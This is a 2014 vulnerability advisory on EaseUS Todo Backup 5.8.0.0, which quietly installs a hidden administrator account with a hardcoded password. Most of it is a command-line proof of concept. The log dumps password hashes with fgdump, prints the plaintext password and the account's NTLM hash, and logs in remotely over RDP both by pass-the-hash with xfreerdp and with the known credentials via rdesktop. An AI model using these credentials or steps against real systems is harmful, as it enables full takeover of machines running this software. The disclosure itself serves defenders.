Vulnerable Software: ======================================== EaseUS Todo Backup 5.8.0.0 (build 20130321) http://oi62.tinypic.com/108i4ut.jpg ======================================== Vuln: Hardcoded Administrative Password./Potential backdoor. ======================================== Impact: An attacker exploiting this vulnerability could assume greater privileges on a compromised system, allowing them to potentially destroy data or take control of computers for malicious purposes. ======================================== About software: Designed for small and medium-sized businesses. Simplify backup & recovery management to minimize server downtime and ensure business continuity ======================================== Vuln details: EaseUS Todo Backup 5.8.0.0 (build 20130321) (other versions may also suffer from this but not tested) when installing it on your machine creates hidden Administrative local account on your machine with hardcoded/broken password. But this can be abused by remote attackers as well. Using this administrative account remote/local attacker may completely compromise target machine. Here is few Proof of concept demonstrations: *Before installation ("net user" command on target machine)* C:\Users\Administrator>NET USER User accounts for \\WIN-CE1QUVOKT1H --------------------------------------------------------------------------- Administrator Guest The command completed successfully. *After installation complete: (Notice: we've got new local administrative account in silent manner!)* C:\Users\Administrator>NET USER User accounts for \\WIN-CE1QUVOKT1H --------------------------------------------------------------------------- Administrator ETB User Guest The command completed successfully. C:\Users\Administrator>NET USER User accounts for \\WIN-CE1QUVOKT1H --------------------------------------------------------------------------- Administrator ETB User Guest The command completed successfully. C:\Users\Administrator>control userpasswords2 C:\Users\Administrator>cd Desktop C:\Users\Administrator\Desktop>fgdump.exe fgDump 2.1.0 - fizzgig and the mighty group at foofus.net Written to make j0m0kun's life just a bit easier Copyright(C) 2008 fizzgig and foofus.net fgdump comes with ABSOLUTELY NO WARRANTY! This is free software, and you are welcome to redistribute it under certain conditions; see the COPYING and README files for more information. No parameters specified, doing a local dump. Specify -? if you are looking elp. --- Session ID: 2014-03-22-05-13-53 --- Starting dump on 127.0.0.1 ** Beginning local dump ** OS (127.0.0.1): Microsoft Windows Unknown Server (Build 9600) (64-bit) Passwords dumped successfully Cache dumped successfully -----Summary----- Failed servers: NONE Successful servers: 127.0.0.1 Total failed: 0 Total successful: 1 C:\Users\Administrator\Desktop>net user User accounts for \\WIN-CE1QUVOKT1H --------------------------------------------------------------------------- Administrator ETB User Guest The command completed successfully. C:\Users\Administrator\Desktop>net user "ETB User" User name ETB User Full Name ETB User Comment For EaseUS Todo Backup Central Management Cons User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 3/21/2014 10:12:52 PM Password expires Never Password changeable 3/21/2014 10:12:52 PM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon Never Logon hours allowed All Local Group Memberships *Administrators Global Group memberships *None The command completed successfully. C:\Users\Administrator\Desktop> C:\Users\Administrator\Desktop>type 127.0.0.1.pwdump ---------- SNIP ---------------- ETB User:1001:NO PASSWORD*********************:DE0F2B9AAEDF6BF59FED68AB06C334C2: ---------- SNIP ---------------- This hardcoded administive password filtrates in wild: Pass: ~1EaseUs@AcsT http://forum.insidepro.com/viewtopic.php?t=8677&start=420&sid=ed953995a5aa360b9c5be3f1472328d6 Trying to logon to this account: Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami win-ce1quvokt1h\etb user C:\Windows\system32>whoami /all USER INFORMATION ---------------- User Name SID ======================== ============================================= win-ce1quvokt1h\etb user S-1-5-21-140604893-3061859077-1642753036-1001 GROUP INFORMATION ----------------- Group Name Type S ID Attributes ============================================================= ================ = =========== ================================================== Everyone Well-known group S -1-1-0 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Local account and member of Administrators group Well-known group S -1-5-114 Group used for deny only BUILTIN\Administrators Alias S -1-5-32-544 Group used for deny only BUILTIN\Users Alias S -1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\INTERACTIVE Well-known group S -1-5-4 Mandatory group, Enabled by default, Enabled group CONSOLE LOGON Well-known group S -1-2-1 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S -1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S -1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Local account Well-known group S -1-5-113 Mandatory group, Enabled by default, Enabled group LOCAL Well-known group S -1-2-0 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S -1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Mandatory Level Label S -1-16-8192 PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ==================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled C:\Windows\system32>exit Testing for lovely Pass The Hash technique: Result is successfull against Server 2012 R2 [blackhat@localhost FreeRDP]$ xfreerdp -u "ETB User" -p DE0F2B9AAEDF6BF59FED68AB06C334C2 192.168.1.103 WARNING: Using deprecated command-line interface! -p ****** -> /p:****** -u ETB User -> /u:ETB User 192.168.1.103 -> /v:192.168.1.103 connected to 192.168.1.103:3389 Closed from X11 PIC 1: http://oi58.tinypic.com/2z8b7t4.jpg Or using valid and hardcoded+known credentials: [blackhat@localhost ~]$ rdesktop -u "ETB User" -p ~1EaseUs@AcsT 192.168.1.103 Autoselected keyboard map en-us Connection established using SSL. WARNING: Remote desktop does not support colour depth 24; falling back to 16 PIC 2: http://oi60.tinypic.com/2j459pk.jpg ===================== WITH LOVE FROM AZERBAIJAN ======================== packetstormsecurity.org packetstormsecurity.com packetstormsecurity.net securityfocus.com cxsecurity.com security.nnov.ru securtiyvulns.com securitylab.ru secunia.com securityhome.eu exploitsdownload.com osvdb.com websecurity.com.ua 1337day.com itsecuritysolutions.org waraxe.us exploit-db.com insecurety.net millikuvvetler.net b3yaz.org Special respect's to CAMOUFL4G3 && ottoman38 and to all Azerbaijan Black hatz,Aa team && to All Turkish hackers. /AkaStep